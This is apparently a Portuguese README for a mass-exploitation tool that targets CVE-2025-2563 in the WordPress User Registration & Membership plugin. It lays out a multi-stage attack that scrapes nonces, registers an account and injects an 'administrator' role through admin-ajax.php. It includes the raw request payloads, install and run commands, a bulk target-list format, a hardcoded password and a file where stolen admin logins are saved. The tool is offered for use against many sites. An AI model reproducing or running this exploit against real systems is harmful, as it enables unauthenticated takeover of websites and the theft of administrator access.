
O plugin User Registration & Membership para WordPress anterior à versão 4.1.2 não impede que os usuários definam sua função de conta quando o Membership Addon está ativado, causando um problema de escalonamento de privilégios e permitindo que usuários não autenticados obtenham privilégios de administrador.
O plugin User Registration & Membership para WordPress anterior à versão 4.1.2 não impede que os usuários definam a função de suas contas quando o Membership Addon está habilitado, levando a um problema de escalonamento de privilégios e permitindo que usuários não autenticados obtenham privilégios de administrador.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2025-2563 |
| Severidade | ALTA — Pontuação CVSS v3.1: 8.1 |
| Vetor | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Software Afetado | Plugin User Registration & Membership para WordPress |
| Versões Afetadas | Todas as versões anteriores à 4.1.2 |
| Tipo de Vulnerabilidade | Gerenciamento de Privilégios Incorreto — Criação Não Autenticada de Conta de Administrador |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-269: Gerenciamento de Privilégios Incorreto |
Descrição:
O plugin User Registration & Membership para WordPress, em versões anteriores à 4.1.2, não aplica restrições de função no lado do servidor quando o Membership Addon está habilitado. Durante o processo de registro de associação, o plugin aceita um campo role fornecido pelo usuário na ação AJAX user_registration_membership_register_member sem validá-lo contra uma lista de permissões no servidor. Um atacante remoto totalmente não autenticado pode enviar uma cadeia AJAX de duas etapas criada sob medida — primeiro registrando uma nova conta de usuário via user_registration_user_form_submit e depois injetando "role": "administrator" no payload members_data da chamada de associação — para criar silenciosamente uma conta de Administrador do WordPress com privilégios totais. Isso resulta em comprometimento completo do site, sem exigir autenticação ou interação do usuário.
Este é um scanner de exploração em massa Proof-of-Concept (PoC) voltado para instalações WordPress que executam uma versão vulnerável do plugin User Registration & Membership com o Membership Addon ativo. A ferramenta realiza exploração inteligente em múltiplos estágios, com descoberta automática, coleta de nonces, registro baseado em combinações, injeção de função e verificação de administrador.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou via arquivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
A ferramenta usa uma interface de terminal totalmente interativa baseada em Rich.
Crie um arquivo de texto simples (padrão: list.txt) — um alvo por linha:
https://target1.com
https://target2.com
http://target3.com
target4.com
Alvos sem
http://ouhttps://recebem automaticamente o prefixohttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
A senha é fixada internamente como
Nx_adminSApara todas as tentativas de registro.
A ferramenta sonda três páginas automaticamente por alvo:
| Página | Finalidade |
|---|---|
/membership-pricing/ | Extrair membership_id e links de registro |
/membership-registration/ | Extrair tokens de formulário, nonces e IDs de campos |
/membership-registration/?membership_id=<id> | Extração de formulário específico do plano |
/registration/ | Página de registro genérica de fallback |
Os seguintes tokens são extraídos do HTML bruto e de JavaScript inline:
| Token | Origem |
|---|---|
_nonce | Objeto JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Campo de entrada oculto ou objeto JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Entrada oculta ur-user-form-id ou objeto JS |
membership_id | Entrada de rádio urm_membership ou string de consulta da URL |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>